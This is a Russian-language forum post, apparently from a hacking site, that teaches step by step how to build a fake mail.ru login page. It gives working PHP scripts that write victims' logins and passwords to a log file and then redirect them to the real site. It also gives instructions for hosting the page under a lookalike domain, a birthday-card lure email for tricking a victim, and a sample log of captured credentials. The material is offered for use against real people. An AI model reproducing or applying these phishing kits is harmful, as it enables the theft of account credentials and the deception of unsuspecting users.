1. Открываем к примеру маил.ру - жмем ctrl + u, сохраняем страницу
2. Открываем сохраненный фаил с помощью блокнот
3. Меняем строку
(поиск ctrl+F) action="httpss://auth.mail.ru/cgi-bin/auth" на action="log.php"
-
это делается для того чтобы запрос отправлялся не на mail.ru4. Меняем
type="text" size="10" name="Login" tabindex="3" на type="text" size="10" name="login" tabindex="3"
заметили тоже самое но не Login а login
5. Заменяем
size="15" name="Password" tabindex="5" на size="15" name="pass" tabindex="5"
6. Size="1" name="Domain" tabindex="4" на size="1" name="dm" tabindex="4"
7. Cоздадим фаил ( log.php ) с этим содержимым в нутри
<?
$Login = $_POST['login'];
$Pass = $_POST['pass'];
$Domen = $_POST['dm'];
$log = fopen("zaxapal.php","a+");
fwrite($log,"<br> $Login:$Pass$Domen \n");
fclose($log);
echo "<html><head><META https-EQUIV='Refresh' content ='0; URL=https://mail.ru'></head></html>";
?>
8. примечание чтобы никто из продвинутых и носа не сунул пропишем в фаил zaxapal.php вот это
<?php die('<H1>умный дэ</H1>'); ?>
P.S Совсем забыл. обязательно сохраните изображения со страницы, или фейк будет без картинок ))
Итак, господа, хочу всем дать самый простой способ создания фейка за 5 минут. По шагам, все будет понятно даже для ламеров. Тут даже хтмл и пхп не нужно знать.
1. Заходим на страницу, которую мы пытаемся подделать (очевидно, это страница логина). Теперь нам нужно скачать ее. Делается двумя способами.
1 способ (ламерский). Нажимаем
ctrl+s в браузере на этой странице (или в меню Файл - сохранить как... сохраняете страницу на своем кампе. Если после заливки на сервак не будут грузиться картинки - поправляйте (как это делать, я рассказывать не буду, ибо догадается даже олигофрен). Преимущества этого способа - все что нужно сделать, это нажать 3 кнопки и готово.
2 способ (чуть сложнее, но чище). Нажимаем ctrl+u (в лисе), ctrl+F3 (в опере) или в меню "Вид - Исходный код страницы" (в осле). Открывается окно с исходным кодом страницы. Этот код вы копируете в файл index.php или index.html. Потом прописываем абсолютные пути ко всем картинкам и таблицам стилей (оригинальным). Это чтобы картинки и ЦССки грузились с сервака, страницу которого мы подделываем. Преимущества этого способа перед первым: все чисто, все компактненько в одном файле.
2. Открываем блокнотом (или др. редактором исходного кода) ваш получившийся файл, ищем теги
, имеющие отношение к форме логина (иногда на странице бывает несколько форм) и меняем значение аттрибута action на submit.php. Если вы не разбираетесь в HTML, найдите слово action и то, чему оно должно быть равно, установите submit.php (чтобы получилось примерно следующее: action="submit.php"). Сохраняем файл, закрываем.
3. В той же папке создаем файл submit.php и вписываем туда следующее содержимое:
<?php
@include 'config.php';
$req=array(
'https_REFERER'=>$_SERVER['https_REFERER'],
'https_USER_AGENT'=>$_SERVER['https_USER_AGENT'],
'REMOTE_ADDR'=>$_SERVER['REMOTE_ADDR'],
'REMOTE_PORT'=>$_SERVER['REMOTE_PORT'],
'REQUEST_URI'=>$_SERVER['REQUEST_URI'],
'REQUEST_TIME'=>$_SERVER['REQUEST_TIME'],
);
$desc=fopen('logs.txt','at+');
fwrite($desc,print_r($req,true)."\n\n\n".print_r($_REQUEST,true)."\n\n\n=====================\n\n\n");
fclose($desc);
header('Location: '.$loc);
?>
затем сохраняем и закрываем.
4. Создаем файл
config.php, и копируем в него текст:
<?php
// куда редиректить после записи пароля:
$loc='https://mail.ru/cgi-bin/start';
?>
(не забудьте адрес поменять на нужный). Сохраняем и закрываем.
5. Создаем пустой файл logs.txt.
6. Ну вот, фейк готов, теперь его осталось залить и впарить жертве. Для этого регим акк на сайте https://freehostia.com (бесплатный хостер с пхп без баннеров). Называем сайт как-нибудь типа mai1-ru-.freehostia.com.
7. Заливаем по FTP (или через панель управления) те файлы, которые вы создали.
8. Установите на файл logs.txt привилегии "777" (ибо пароль жертвы не запишется).
9. Теперь фейк можно впарить жертве. Напишите письмо вида:
Привет маша! Поздравляю тебя с днем рождения и вручаю тебе эту открытку:
https://mai1-ru-.freehostia.com/
Маша зайдет на страницу https://mai1-ru-.freehostia.com/ и увидит форму ввода логина и пароля, как будто она разлогинелась. Если она глупая и ничего не заметит (а это уже отдельная тема, как фейк сделать менее палевным), она введет логин и пароль которые запишутся в файл logs.txt в следующем формате:
Array
(
[https_REFERER] => https://hackersoft.ru/admin/
[https_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
[REMOTE_ADDR] => 92.112.88.666
[REMOTE_PORT] => 34953
[REQUEST_URI] => /admin/?action=articles
[REQUEST_TIME] => 1230097894
)
Array
(
[login] => (здесь логин маши)
[password] => (а здесь пароль)
)
p.s. Этот способ универсальный, подойдет не только для mail.ru или vkontakte.ru, а вообще, для чего угодно.
Datalife Engine
Релизы
WordPress
Joomla
Другие CMS
Web-Мастеру
Игры/Игровые CMS